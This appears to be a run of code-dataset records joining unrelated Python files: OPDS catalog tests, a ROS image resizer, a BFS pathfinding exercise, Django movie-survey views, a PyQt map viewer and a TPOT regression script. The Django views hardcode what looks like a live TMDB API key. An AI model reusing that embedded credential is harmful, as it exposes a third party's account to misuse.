annotator.\"\n\n # This template will be used to construct a web client link\n # for each library.\n template = \"http://web/{uuid}\"\n ConfigurationSetting.sitewide(\n self._db, Configuration.WEB_CLIENT_URL\n ).value = template\n\n catalog = OPDSCatalog(\n self._db, \"A Catalog!\", \"http://url/\", [l1, l2],\n TestAnnotator(), url_for=self.mock_url_for\n )\n catalog = unicode(catalog)\n parsed = json.loads(catalog)\n\n # The catalog is labeled appropriately.\n eq_(\"A Catalog!\", parsed['metadata']['title'])\n [self_link] = parsed['links']\n eq_(\"http://url/\", self_link['href'])\n eq_(\"self\", self_link['rel'])\n\n # The annotator modified the catalog in passing.\n eq_(\"Random text inserted by annotator.\", parsed['metadata']['random'])\n\n # Each library became a catalog in the catalogs collection.\n eq_([l1.name, l2.name], [x['metadata']['title'] for x in parsed['catalogs']])\n\n # Each library has a link to its web catalog.\n l1_links, l2_links = [\n library['links'] for library in parsed['catalogs']\n ]\n [l1_web] = [link['href'] for link in l1_links\n if link['type'] == 'text/html']\n eq_(l1_web, template.replace(\"{uuid}\", l1.internal_urn))\n\n [l2_web] = [link['href'] for link in l2_links\n if link['type'] == 'text/html']\n eq_(l2_web, template.replace(\"{uuid}\", l2.internal_urn))\n\n def test_large_feeds_treated_differently(self):\n # The libraries in large feeds are converted to JSON in ways\n # that omit large chunks of data such as inline logos.\n\n # In this test, a feed with 2 or more items is considered\n # 'large'. Any smaller feed is considered 'small'.\n setting = ConfigurationSetting.sitewide(\n self._db, Configuration.LARGE_FEED_SIZE\n )\n setting.value = 2\n\n class Mock(OPDSCatalog):\n def library_catalog(*args, **kwargs):\n # Every time library_catalog is called, record whether\n # we were asked to include a logo.\n return kwargs['include_logo']\n\n # Every item in the large feed resulted in a call with\n # include_logo=False.\n large_feed = Mock(self._db, \"title\", \"url\", [\"it's\", \"large\"])\n large_catalog = large_feed.catalog['catalogs']\n eq_([False, False], large_catalog)\n\n # Every item in the large feed resulted in a call with\n # include_logo=True.\n small_feed = Mock(self._db, \"title\", \"url\", [\"small\"])\n small_catalog = small_feed.catalog['catalogs']\n eq_([True], small_catalog)\n\n # Make it so even a feed with one item is 'large'.\n setting.value = 1\n small_feed = Mock(self._db, \"title\", \"url\", [\"small\"])\n small_catalog = small_feed.catalog['catalogs']\n eq_([False], small_catalog)\n\n # Try it with a query that returns no results. No catalogs\n # are included at all.\n small_feed = Mock(self._db, \"title\", \"url\", self._db.query(Library))\n small_catalog = small_feed.catalog['catalogs']\n eq_([], small_catalog)\n\n def test_feed_is_large(self):\n # Verify that the _feed_is_large helper method\n # works whether it's given a Python list or a SQLAlchemy query.\n setting = ConfigurationSetting.sitewide(\n self._db, Configuration.LARGE_FEED_SIZE\n )\n setting.value = 2\n m = OPDSCatalog._feed_is_large\n query = self._db.query(Library)\n\n # There are no libraries, and the limit is 2, so a feed of libraries would not be large.\n eq_(0, query.count())\n eq_(False, m(self._db, query))\n\n # Make some libraries, and the feed becomes large.\n [self._library() for x in range(2)]\n eq_(True, m(self._db, query))\n\n # It also works with a list.\n eq_(True, m(self._db, [1,2]))\n eq_(False, m(self._db, [1]))\n\n def test_library_catalog(self):\n\n class Mock(OPDSCatalog):\n \"\"\"An OPDSCatalog that instruments calls to _hyperlink_args.\"\"\"\n hyperlinks = []\n\n @classmethod\n def _hyperlink_args(cls, hyperlink):\n cls.hyperlinks.append(hyperlink)\n return OPDSCatalog._hyperlink_args(hyperlink)\n\n library = self._library(\"The New York Public Library\")\n library.urn = \"123-abc\"\n library.description = \"It's a wonderful library.\"\n library.opds_url = \"https://opds/\"\n library.web_url = \"https://nypl.org/\"\n library.logo = \"Fake logo\"\n library.authentication_url = \"http://authdocument/\"\n\n # This email address is a secret between the library and the\n # registry.\n private_hyperlink, ignore = library.set_hyperlink(\n Hyperlink.INTEGRATION_CONTACT_REL,\n \"mailto:secret@library.org\"\n )\n\n # This email address is intended for public consumption.\n public_hyperlink, ignore = library.set_hyperlink(\n Hyperlink.HELP_REL,\n \"mailto:help@library.org\"\n )\n\n catalog = Mock.library_catalog(\n library, url_for=self.mock_url_for,\n web_client_uri_template=\"http://web/{uuid}\"\n )\n metadata = catalog['metadata']\n eq_(library.name, metadata['title'])\n eq_(library.internal_urn, metadata['id'])\n eq_(library.description, metadata['description'])\n\n eq_(metadata['updated'], OPDSCatalog._strftime(library.timestamp))\n\n [authentication_url, web_alternate, help, eligibility, focus, opds_self, web_self] = sorted(catalog['links'], key=lambda x: (x.get('rel', ''), x.get('type', '')))\n [logo] = catalog['images']\n\n eq_(\"mailto:help@library.org\", help['href'])\n eq_(Hyperlink.HELP_REL, help['rel'])\n\n eq_(library.web_url, web_alternate['href'])\n eq_(\"alternate\", web_alternate['rel'])\n eq_(\"text/html\", web_alternate['type'])\n\n eq_(library.opds_url, opds_self['href'])\n eq_(OPDSCatalog.CATALOG_REL, opds_self['rel'])\n eq_(OPDSCatalog.OPDS_1_TYPE, opds_self['type'])\n\n eq_(\"http://web/%s\" % library.internal_urn, web_self['href'])\n eq_(\"self\", web_self['rel'])\n eq_(\"text/html\", web_self['type'])\n\n eq_(\"http://library_eligibility/%s\" % library.internal_urn,\n eligibility['href'])\n eq_(OPDSCatalog.ELIGIBILITY_REL, eligibility['rel'])\n eq_(\"application/geo+json\", eligibility['type'])\n\n eq_(\"http://library_focus/%s\" % library.internal_urn,\n focus['href'])\n eq_(OPDSCatalog.FOCUS_REL, focus['rel'])\n eq_(\"application/geo+json\", focus['type'])\n\n eq_(library.logo, logo['href'])\n eq_(OPDSCatalog.THUMBNAIL_REL, logo['rel'])\n eq_(\"image/png\", logo['type'])\n\n eq_(library.authentication_url, authentication_url['href'])\n assert 'rel' not in authentication_url\n eq_(AuthenticationDocument.MEDIA_TYPE, authentication_url['type'])\n # The public Hyperlink was passed into _hyperlink_args,\n # which made it show up in the list of links.\n #\n # The private Hyperlink was not passed in.\n eq_([public_hyperlink], Mock.hyperlinks)\n Mock.hyperlinks = []\n\n # If library_catalog is called with include_private_information=True,\n # both Hyperlinks are passed into _hyperlink_args.\n catalog = Mock.library_catalog(\n library, include_private_information=True,\n url_for=self.mock_url_for\n )\n eq_(set([public_hyperlink, private_hyperlink]), set(Mock.hyperlinks))\n\n # If library_catalog is passed with include_logo=False,\n # the (potentially large) inline logo is omitted, \n # even though it was included before.\n catalog = Mock.library_catalog(\n library, include_logo=False, \n url_for=self.mock_url_for\n )\n relations = [x.get('rel') for x in catalog['links']]\n assert OPDSCatalog.THUMBNAIL_REL not in relations\n\n\n def test__hyperlink_args(self):\n \"\"\"Verify that _hyperlink_args generates arguments appropriate\n for an OPDS 2 link.\n \"\"\"\n m = OPDSCatalog._hyperlink_args\n\n library = self._library()\n hyperlink, is_new = library.set_hyperlink(\"some-rel\", None)\n\n # If there's not enough information to make a link,\n # _hyperlink_args returns None.\n eq_(None, m(None))\n eq_(None, m(hyperlink))\n\n # Now there's enough for a link, but there's no Validation.\n hyperlink.href = \"a url\"\n eq_(dict(href=hyperlink.href, rel=hyperlink.rel), m(hyperlink))\n\n # Create a Validation.\n validation, is_new = create(self._db, Validation)\n hyperlink.resource.validation = validation\n\n def assert_reservation_status(expect):\n args = m(hyperlink)\n eq_(args['properties'][Validation.STATUS_PROPERTY], expect)\n\n # Validation in progress\n assert_reservation_status(Validation.IN_PROGRESS)\n\n # Validation has expired\n validation.started_at = datetime.datetime.utcnow()-datetime.timedelta(\n days=365\n )\n assert_reservation_status(Validation.INACTIVE)\n\n # Validation has been confirmed\n validation.success = True\n assert_reservation_status(Validation.CONFIRMED)\n\n # If for some reason the Resource is removed from the Hyperlink,\n # _hyperlink_args stops working.\n hyperlink.resource = None\n eq_(None, m(hyperlink))\n","sub_path":"tests/test_opds.py","file_name":"test_opds.py","file_ext":"py","file_size_in_byte":10578,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"283260634","text":"#!/usr/bin/env python\nimport rospy\nimport numpy as np\nfrom sensor_msgs.msg import Image\nfrom std_msgs.msg import Float64\n\nfrom sensor_msgs.msg import CameraInfo\nfrom geometry_msgs.msg import Vector3\nfrom tf import transformations as trans\nfrom cv_bridge import CvBridge, CvBridgeError\nimport cv2\n\nimport sys\n\n\nclass computer_vision(object):\n \"\"\"docstring for computer_vision.\"\"\"\n\n def __init__(self):\n super(computer_vision, self).__init__()\n rospy.init_node('computer_vision', anonymous=True)\n rospy.loginfo(\"CV node started\")\n\n self.image_sub = rospy.Subscriber(\"/camera/image_raw\", Image, self.cb)\n self.scale_sub = rospy.Subscriber(\"/cv/scale\", Float64, self.cb_scale)\n\n self.result_pub = rospy.Publisher(\n '/cv/resized/image_raw', Image, queue_size=10)\n\n self.bridge = CvBridge()\n self.rate = rospy.Rate(50) # 10hz\n self.image = None\n self.scale = None\n\n while not rospy.is_shutdown():\n if self.scale is None:\n self.scale = 0.5\n\n if self.image is not None:\n rospy.loginfo(\"Current scale %f\", self.scale)\n self.resized_image = cv2.resize(\n self.image, None, fx=self.scale, fy=self.scale,\n interpolation=cv2.INTER_CUBIC)\n\n self.result_pub.publish(\n self.bridge.cv2_to_imgmsg(self.resized_image, \"bgr8\"))\n self.rate.sleep()\n\n def cb(self, data):\n try:\n self.image = self.bridge.imgmsg_to_cv2(data, \"bgr8\")\n\n except CvBridgeError as e:\n print(e)\n\n def cb_scale(self, data):\n try:\n self.scale = data.data\n\n except CvBridgeError as e:\n print(e)\n\n\nif __name__ == '__main__':\n vo = computer_vision()\n # rospy.spin()\n# /camera/image_raw\n","sub_path":"src/resizer.py","file_name":"resizer.py","file_ext":"py","file_size_in_byte":1866,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"654426125","text":"\"\"\"\nYou are given an M by N matrix consisting of booleans that represents a board.\nEach True boolean represents a wall. Each False boolean represents a tile you\ncan walk on.\n\nGiven this matrix, a start coordinate, and an end coordinate, return the\nminimum number of steps required to reach the end coordinate from the start.\nIf there is no possible path, then return null. You can move up, left, down,\nand right. You cannot move through walls. You cannot wrap around the edges of\nthe board.\n\nFor example, given the following board:\n\n[[f, f, f, f],\n[t, t, f, t],\n[f, f, f, f],\n[f, f, f, f]]\n\nand start = (3, 0) (bottom left) and end = (0, 0) (top left), the minimum number\nof steps required to reach the end is 7, since we would need to go through\n(1, 2) because there is a wall everywhere else on the second row.\n\"\"\"\n\ndef shortest_path(m, i, f):\n\n visited = list()\n paths = dict()\n bfs_q = list()\n bfs_q.append(i)\n\n while(bfs_q):\n cur_pos = bfs_q.pop(0)\n cur_r, cur_c = cur_pos\n visited.append(cur_pos)\n\n cur_neibor = [(cur_r+1, cur_c), (cur_r-1, cur_c),\n (cur_r, cur_c+1), (cur_r, cur_c-1)]\n\n if cur_pos == f:\n break\n\n for neibor in cur_neibor:\n n_r, n_c = neibor\n if valid(m, neibor) and neibor not in visited and m[n_r][n_c] != \\\n 't':\n paths[neibor] = cur_pos\n bfs_q.append(neibor)\n\n current = f\n r_path = list()\n while(current != i):\n r_path.insert(0, current)\n current = paths[current]\n print(r_path)\n\ndef valid(m,pos):\n max_row = len(m)\n max_col = len(m[0])\n\n cur_row, cur_col = pos\n\n if cur_row >= max_row or cur_row < 0:\n return False\n\n if cur_col >= max_col or cur_col < 0:\n return False\n\n return True\n\n\ndef main():\n\n b = [['f', 'f', 'f', 'f'],\n ['t', 't', 'f', 't'],\n ['f', 'f', 'f', 'f'],\n ['f', 'f', 'f', 'f']]\n\n shortest_path(b, (3,0), (0,0))\n shortest_path(b, (3,3), (0,3))\n\n\nif __name__ == '__main__':\n main()\n\n\n\n\n\n\n\n","sub_path":"gl_min_path_board.py","file_name":"gl_min_path_board.py","file_ext":"py","file_size_in_byte":2084,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"180847405","text":"SYLLABLE_SIZE = 100\n\ndef word_to_number(word):\n n = 0\n for sylable in word[1:]:\n n = SYLLABLE_SIZE * n + sylable\n if word[0] == '-': n = -n\n return n\n\n\ndef number_to_word(number):\n word = [0] * 5\n if number < 0:\n word = ['-'] + word\n number = -number\n else:\n word = ['+'] + word\n i = 5;\n while i > 0 and number > SYLLABLE_SIZE:\n number, word[i] = divmod(number, SYLLABLE_SIZE)\n i -= 1\n if i > 0: word[i] = number\n return word\n","sub_path":"machines/mix/tools.py","file_name":"tools.py","file_ext":"py","file_size_in_byte":455,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"450188795","text":"\"\"\"\n火车站安检\nhas_ticket,布尔型,是否有车票\nknife_length,表示刀的长度,单位:厘米\n检查是否有车票,如果有才允许进行安检\n安检时,检查刀的长度是否超过20cm,如果不超过,安检通过\n否则不允许上车\n没有车票,不允许进门\n\"\"\"\nwhile True:\n has_ticket = bool(input(\"是否有车票?\"))\n knife_length = int(input(\"请输入刀的长度:\"))\n if has_ticket:\n print(\"允许进门以及安检\")\n if knife_length > 20:\n print(\"安检不通过\")\n else:\n print(\"可以上车\")\n else:\n print(\"没有车票,不能进门\")\n","sub_path":"20171108/work/work1_6.py","file_name":"work1_6.py","file_ext":"py","file_size_in_byte":653,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"149407876","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\nimport ntpath\nimport os\nfrom pathlib import Path\nfrom django.shortcuts import render\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom django.template import loader\nimport tmdbsimple as tmdb\nfrom django.shortcuts import get_object_or_404, render\nfrom .models import Movie, Person, Rating\nfrom django.utils import translation\nfrom django.http import Http404\nfrom django.conf import global_settings as glob\n\n\ntmdb.API_KEY = '3529a80d1ce8bd03eadb9021b37bc76f'\n\n\ndef index(request,language='', errormessage=''):\n #print( language)\n #translation.to_language(language)\n if language=='en-us':\n translation.activate('en-us')\n header = 'WELCOME TO THE MOVIE SURVEY!'\n formCaption = 'Thank you for participating! Please input the following data to proceed.'\n nameCaption = 'Name:'\n ageCaption = 'Age:'\n buttonCaption = 'Proceed!'\n errorCaption=\"Please input valid name and age!\"\n elif language=='pl':\n translation.activate('pl')\n header = 'WITAMY W BADANIU FILMOWYM!'\n formCaption = 'Dziękuję za udział! Wprowadź następujące dane, aby kontynuować.'\n nameCaption = 'Imię:'\n ageCaption = 'Wiek:'\n buttonCaption = 'Kontynuować!'\n errorCaption = \"Podaj poprawne imię i wiek!\"\n else:\n return HttpResponseRedirect('/polls/en-us/')\n if errormessage=='':\n errorCaption=''\n elif not errormessage=='error':\n return HttpResponseRedirect('/polls/'+language+'/')\n context={\n 'currentlanguage':language,\n 'myheader':header,\n 'agecaption': ageCaption,\n 'namecaption': nameCaption,\n 'formcaption':formCaption,\n 'buttoncaption':buttonCaption,\n 'errorcaption': errorCaption\n }\n return HttpResponse(render(request, 'newindex.html', context=context))\n #print(Path(__file__).parent.absolute())\n #return HttpResponse(print(ntpath.dirname(ntpath.abspath(__file__))))\n\ndef movie(request, language, movie_id, user_id, errormessage=''):\n if movie_id==1:\n print('')\n #print(request.GET('currentname'))\n #print(request.GET('currentage'))\n movie = get_object_or_404(Movie, pk=movie_id)\n voteURL = '/polls/' +language+'/'+ str(movie_id) + '/'+str(user_id)+'/vote/'\n #print(nextURL)\n if language=='en-us':\n translation.activate('en-us')\n header = 'WELCOME TO THE MOVIE SURVEY!'\n movieTitle=movie.Title\n question='What do you think of this movie?'\n voteCaption='Vote!'\n stars='stars'\n notSeenCaption='Haven\\'t seen.'\n errorString='Please answer the question before proceeding.'\n elif language=='pl':\n translation.activate('pl')\n header = 'WITAMY W BADANIU FILMOWYM!'\n question='Co sądzisz o tym filmie?'\n voteCaption = 'Głosować!'\n stars = 'gwiazdy'\n notSeenCaption = 'Nie widziałem tego.'\n errorString = 'Przed kontynuowaniem odpowiedz na pytanie.'\n else:\n return HttpResponseRedirect('/polls/en-us/'+ str(movie_id) + '/'+str(user_id))\n lang='English'\n if not language=='en-us':\n movieTitles = tmdb.Movies(movie.TMDBID).translations()\n for i in glob.LANGUAGES:\n if i[0]==language:\n lang=i[1]\n for i in movieTitles.get('translations'):\n #print(i['english_name'])\n #print(i['data']['title'])\n if i['english_name']==lang:\n movieTitle=i['data']['title']\n print(movieTitle)\n if errormessage=='':\n errorString=''\n elif not errormessage=='error':\n return HttpResponseRedirect('/polls/' +language+'/'+ str(movie_id) + '/'+str(user_id)+'/')\n context = {\n 'currentlanguage': language,\n 'myheader':header,\n 'question': question,\n 'mymoviecaption': movieTitle,\n 'moviePoster': 'https://image.tmdb.org/t/p/original' + tmdb.Movies(movie.TMDBID).images().get('posters')[0].get(\n 'file_path'),\n 'myrange': range(10, 0, -1),\n 'myuserid': user_id,\n 'voteurl': voteURL,\n 'mymovieid': movie_id,\n 'error_message': errorString,\n 'notseencaption': notSeenCaption,\n 'stars': stars,\n 'votecaption': voteCaption\n }\n return HttpResponse(render(request, 'movieview.html', context=context))\n\ndef ratings(request,language, user_id):\n if language=='en-us':\n translation.activate('en-us')\n ThankYouString = 'Thank you for participating in the movie survey.'\n TakeItAgain = 'Would you like to take it again?'\n elif language=='pl':\n translation.activate('pl')\n ThankYouString = 'Dziękujemy za udział w badaniu filmowym.'\n TakeItAgain = 'Czy chciałbyś przejść przez to jeszcze raz?'\n else:\n return HttpResponseRedirect('/polls/en-us/'+user_id+'/ratings/')\n #userratings = Rating.objects.filter(User=user_id).count()\n #if userratings >= 200:\n #seenratings=Rating.objects.filter(User=user_id, Grade__gt=0)\n #sum=0\n #seenmovies=[]\n #for seenrating in seenratings:\n #seenmovies.append(Movie.objects.get(pk=seenrating.RatedMovie))\n #totalrating=0\n #peoplerated=0\n #for seenmovie in seenmovies:\n #totalrating=seenmovie.totalRating\n #peoplerated=seenmovie.peopleRated\n #totalrating+=seenratings.filter(User=user_id,RatedMovie=seenmovie.pk)[0].Grade\n #peoplerated+=1\n #seenmovie.save()\n context = {\n 'currentlanguage':language,\n 'thankyou': ThankYouString,\n 'myuserid':user_id,\n 'takeitagainmessage':TakeItAgain\n }\n return HttpResponse(render(request, 'ratings.html', context=context))\n\n\ndef rating(request,language, movie_id):\n context = {\n 'currentlanguage': language,\n\n }\n return HttpResponse(render(request, 'rating.html', context=context))\n\ndef vote(request,language,user_id, movie_id):\n try:\n intcheck=int(movie_id)\n nextmovie=get_object_or_404(Movie, pk=movie_id+1)\n nextURL = '/polls/'+language+'/'+ str(movie_id + 1) + '/'+str(user_id)+'/'\n except:\n nextURL = '/polls/'+language+'/'+user_id+'/ratings/'\n try:\n myrating = int(request.POST['rate'])\n newrating=Rating(User=Person.objects.get(pk=user_id),RatedMovie=Movie.objects.get(pk=movie_id),Grade=myrating)\n newrating.save()\n print(myrating)\n return HttpResponseRedirect(nextURL)\n except:\n return HttpResponseRedirect('/polls/'+language+'/'+ str(movie_id) + '/'+str(user_id)+'/error/')\n #StartupMenu.name = ''\n #StartupMenu.age = 0\n #userAanswers = []\n\ndef register(request, language):\n try:\n u=Person(Name=request.POST['myname'],age=int(request.POST['myage']))\n u.save()\n user_id=Person.objects.latest('id').pk\n print(user_id)\n return HttpResponseRedirect('/polls/'+language+'/1/'+str(user_id)+'/')\n except:\n return HttpResponseRedirect('/polls/'+language+'/error/')\n\n# Create your views here.\n","sub_path":"MoviesQuestionnaire/polls/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7146,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"156246552","text":"import pandas as pd\nimport numpy as np\nfrom ai_cloud_etl import data_extract_e, data_filter, feature_eng, feature_transform, extract_queues, fit_labels\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import r2_score\nfrom tpot import TPOTRegressor\nimport svr_config\n\n# Data Extraction\ndf = data_extract_e('e_20190609_15.pkl')\n\n# Data Transformation and Engineering\ndf = feature_eng(df)\ndf = extract_queues(df)\ndept_encoder, queue_encoder = fit_labels(df)\ndf = feature_transform(df, queue_encoder, dept_encoder)\ndf = df[:100000]\n\n# Training/Test Split\nx, y = data_filter(df)\nx_train, x_test, y_train, y_test = train_test_split(x, y, test_size=0.2, random_state=2468)\n\n# Using TPOT AutoML\ntpot = TPOTRegressor(n_jobs=-1, verbosity=1, config_dict=svr_config.svr_config_dict)\ntpot = tpot.fit(x_train, y_train)\ny_pred = tpot.predict(x_train)\nprint('SVR TPOT training R2 score: ', r2_score(y_train, y_pred))\nprint('SVR TPOT training negative MSE: ', tpot.score(x_train, y_train))\n\ny_pred = tpot.predict(x_test)\nprint('SVR TPOT test R2 score: ', r2_score(y_test, y_pred))\nprint('SVR TPOT test negative MSE: ', tpot.score(x_test, y_test))\n\ntpot.export('svr_TPOT.py')","sub_path":"extras/tpot_svr.py","file_name":"tpot_svr.py","file_ext":"py","file_size_in_byte":1183,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"371461948","text":"class Solution(object):\n # 将两个排好序的数组合并为一个。\n # 从后往前进行操作。注意边界问题\n\n def merge(self, nums1, m, nums2, n):\n \"\"\"\n :type nums1: List[int]\n :type m: int\n :type nums2: List[int]\n :type n: int\n :rtype: void Do not return anything, modify nums1 in-place instead.\n \"\"\"\n a = m - 1\n b = n - 1\n curr = m + n - 1\n\n while curr >= 0:\n if a >= 0 and b >= 0 and nums1[a] > nums2[b]:\n nums1[curr] = nums1[a]\n a -= 1\n elif b >= 0:\n nums1[curr] = nums2[b]\n b -= 1\n curr -= 1\n\nif __name__ == \"__main__\":\n cl = Solution()\n nums1 = [1]\n m = 1\n nums2 = []\n n = 0\n cl.merge(nums, m, nums2, n)\n print(nums1)\n","sub_path":"88.Merge_Sorted_Array/88.Merge_Sorted_Array.py","file_name":"88.Merge_Sorted_Array.py","file_ext":"py","file_size_in_byte":838,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"304761145","text":"import asyncio\n\ndef callback(sleep_times):\n print('sleep {}s success'.format(sleep_times))\n\ndef stop_loop(loop):\n loop.stop()\n\n\nif __name__ == '__main__':\n loop = asyncio.get_event_loop()\n loop.call_soon(callback,2)\n #now = loop.time()\n loop.call_soon(stop_loop,loop)\n #loop.call_later(1,callback,4)\n #loop.call_at\n loop.run_forever()","sub_path":"ch13/call_test.py","file_name":"call_test.py","file_ext":"py","file_size_in_byte":361,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"188120927","text":"#!/usr/bin/env python\n# -*- coding: UTF-8 -*-\n\nimport os\n#import io\n#import re\n#import csv\n#import sys\n#import glob\nimport time\nimport shutil\n#import pickle\n#import MySQLdb\n#import warnings\nimport subprocess\n\ndirectorio_distribucion=\"c:/usr/ideatek/pointbox-retail/distribucion-licenciamiento\"\ndirectorio_instalacion=\"c:/usr/ideatek/pointbox-retail/aplicacion-base\"\nresultado=subprocess.call([\"mkdir\",\"-p\",directorio_distribucion])\nresultado=subprocess.call([\"mkdir\",\"-p\",directorio_instalacion])\nlicencia_instalada=os.path.join(directorio_instalacion,\"control-pbr.idk\")\nlicencia_instalada=licencia_instalada.replace(\"\\\\\",\"/\")\nif not os.path.exists(licencia_instalada):\n\tp=subprocess.Popen([\"c:/usr/ideatek/pointbox-retail/licenciador.exe\",directorio_distribucion],stdout=subprocess.PIPE)\n\tsalida_estandar,error_estandar=p.communicate()\n\tresultado=subprocess.call([\"c:/cygwin/bin/unison-2.40.exe\",\"licenciamiento\",\"-ignorearchives\"])\n\tbandera_licencia=os.path.join(directorio_distribucion,\"control-pbr-\"+salida_estandar+\".bda\")\n\tlicencia_distribuida=os.path.join(directorio_distribucion,\"control-pbr-\"+salida_estandar+\".idk\")\n\tbandera_licencia=bandera_licencia.replace(\"\\\\\",\"/\")\n\tlicencia_distribuida=licencia_distribuida.replace(\"\\\\\",\"/\")\n\tif os.path.exists(bandera_licencia):\n\t\tif os.path.exists(licencia_distribuida):\n\t\t\tshutil.copy(licencia_distribuida,licencia_instalada)\n","sub_path":"instalador/licenciamiento.py","file_name":"licenciamiento.py","file_ext":"py","file_size_in_byte":1377,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"488844790","text":"\"\"\"empty message\n\nRevision ID: d3492f50e938\nRevises: \nCreate Date: 2019-07-17 00:30:58.193655\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'd3492f50e938'\ndown_revision = None\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('timeinterval', sa.Column('time_end2', sa.Time(), nullable=False))\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('timeinterval', 'time_end2')\n # ### end Alembic commands ###\n","sub_path":"migrations/versions/d3492f50e938_.py","file_name":"d3492f50e938_.py","file_ext":"py","file_size_in_byte":646,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"78819186","text":"from PyQt5.QtWidgets import QApplication, QWidget\nfrom PyQt5.QtGui import QPixmap\nfrom PyQt5.QtCore import Qt\nfrom PyQt5 import QtCore\nfrom PyQt5 import uic\nfrom API import *\nimport sys\nimport os\n\n\nclass App(QWidget):\n def __init__(self):\n \"\"\"\n :param self.image : QLabel под изображение\n :param self.field : QLineEdit под поле запроса\n :param self.btn : QPushButton кнопка\n \"\"\"\n super().__init__()\n uic.loadUi(\"main.ui\", self)\n self.btn.clicked.connect(self.set_map)\n self.change_lay.clicked.connect(self.def_change_lay)\n self.return_lay.clicked.connect(self.def_return_lay)\n self.cancel.clicked.connect(self.def_cancel)\n self.postcode.stateChanged.connect(self.add_postcode)\n self.is_postcode_added = False\n self.scale = 0.1\n self.start = \"Лицей 17, 2-й Давыдовский мкр., 21, Кострома, Костромская обл.,\"\n self.map = \"map\"\n self.coords, self.coords_flag = None, None\n self.center = (512, 420)\n self.points = []\n self.get_coords()\n self.set_map()\n self.write_full_address(self.start)\n\n def def_cancel(self):\n helper = self.field.text()\n self.field.setText(self.start)\n self.write_full_address(self.start)\n self.set_map()\n self.field.setText(helper)\n\n def def_change_lay(self):\n self.map = {\"map\": \"sat\", \"sat\": \"skl\", \"skl\": \"trf\", \"trf\": \"map\"}[self.map]\n self.update()\n\n def write_full_address(self, address):\n self.full_adress.setText(get_address(address, self.is_postcode_added))\n\n def add_postcode(self):\n # у многих адресов нет почтового индекса.\n # для теста можно использовать адрес офиса Яндекса (Москва Льва Толстого 16)\n self.is_postcode_added = not self.is_postcode_added # 9 задача\n self.write_full_address(self.full_adress.text()) # 10 задача\n\n def def_return_lay(self):\n self.map = \"map\"\n self.update()\n\n def mousePressEvent(self, event):\n if event.buttons() == QtCore.Qt.RightButton:\n move = self.scale / 0.1 * 0.01\n data = [event.x() - self.center[0], event.y() - self.center[1]]\n point = [self.coords[0] + data[0] * (self.scale / 150),\n self.coords[1] - data[1] * (self.scale / 150)]\n data = get_organization(get_coords_to_address(point))[0]['properties']['name']\n if data:\n self.field_2.setText(data)\n elif event.buttons() == QtCore.Qt.LeftButton:\n move = self.scale / 0.1 * 0.01\n data = [event.x() - self.center[0], event.y() - self.center[1]]\n point = [self.coords[0] + data[0] * (self.scale / 150),\n self.coords[1] - data[1] * (self.scale / 150)]\n try:\n data = get_coords_to_address(point)[0]['properties']['name']\n except Exception:\n data = \"\"\n self.coords_flag = tuple(point)\n self.field.setText(data)\n self.update()\n\n def keyPressEvent(self, event):\n if event.key() == Qt.Key_PageUp:\n if self.scale + 0.1 <= 3:\n self.scale *= 2\n self.update()\n if event.key() == Qt.Key_PageDown:\n if self.scale + 0.00001 > 0.00078125:\n self.scale /= 2\n self.update()\n move = self.scale / 0.1 * 0.01\n if event.key() == Qt.Key_Up:\n self.coords = (self.coords[0], self.coords[1] + move)\n self.update()\n if event.key() == Qt.Key_Left:\n self.coords = (self.coords[0] - move, self.coords[1])\n self.update()\n if event.key() == Qt.Key_Right:\n self.coords = (self.coords[0] + move, self.coords[1])\n self.update()\n if event.key() == Qt.Key_Down:\n self.coords = (self.coords[0], self.coords[1] - move)\n self.update()\n\n def set_map(self):\n try:\n self.get_coords()\n if self.field.text():\n self.write_full_address(self.field.text())\n else:\n self.write_full_address(self.start)\n with open(\"map_file.txt\", \"wb\") as file:\n self.coords_flag = self.coords\n file.write(get_map(self.coords, self.scale, self.map, [self.coords_flag] + self.points))\n pixmap = QPixmap(\"map_file.txt\")\n self.image.setPixmap(pixmap)\n self.setFocus(True)\n except Exception as error:\n print(error)\n\n def update(self):\n with open(\"map_file.txt\", \"wb\") as file:\n file.write(get_map(self.coords, self.scale, self.map, [self.coords_flag] + self.points))\n pixmap = QPixmap(\"map_file.txt\")\n self.image.setPixmap(pixmap)\n self.setFocus(True)\n\n def get_coords(self):\n if self.field.text():\n self.coords = get_coords(get_address(self.field.text()))\n else:\n self.coords = get_coords(get_address(self.start))\n\n\nif __name__ == \"__main__\":\n app = QApplication(sys.argv)\n ex = App()\n ex.show()\n exec_ = app.exec()\n os.system('echo. > map_file.txt')\n sys.exit(exec_)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5411,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"617271623","text":"\"\"\"This file is part of DeepLens which is released under MIT License and \nis copyrighted by the University of Chicago. This project is developed by\nthe database group (chidata).\n\ntiered_videoio.py uses opencv (cv2) to read and write files to disk. It contains\nprimitives to encode and decode archived and regular video formats for a 